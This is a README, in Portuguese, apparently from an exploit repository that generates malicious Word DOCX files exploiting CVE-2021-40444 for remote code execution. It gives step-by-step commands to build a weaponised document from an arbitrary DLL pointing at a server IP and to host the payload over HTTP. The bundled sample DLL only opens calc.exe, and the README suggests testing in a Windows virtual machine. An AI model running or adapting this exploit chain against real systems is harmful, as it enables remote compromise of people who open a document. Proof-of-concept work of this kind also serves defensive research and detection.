lisinan988/cve-2021-40444-expGera documentos DOCX maliciosos que exploram o CVE-2021-40444 (RCE do Microsoft Office Word) com um servidor HTTP embutido para entrega de payload e execução de calc baseada em DLL.
Gerador de docx malicioso para explorar CVE-2021-40444 (Execução Remota de Código no Microsoft Office Word)
A criação deste script é baseada em engenharia reversa sobre a amostra utilizada na natureza: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (arquivo docx)
Você precisa instalar o lcab primeiro (sudo apt-get install lcab)
Consulte REPRODUCE.md para etapas manuais de reprodução
Se o seu cab gerado não estiver funcionando, tente apontar a URL do exploit.html para calc.cab
Primeiro, gere um documento docx malicioso a partir de uma DLL. Você pode usar o arquivo em test/calc.dll, que apenas exibe um calc.exe a partir de uma chamada a system()
python3 exploit.py generate test/calc.dll http://<IP DO SRV>
Após gerar o docx malicioso (estará em out/), você pode configurar o servidor:
sudo python3 exploit.py host 80
Por fim, teste o docx em uma Máquina Virtual Windows:
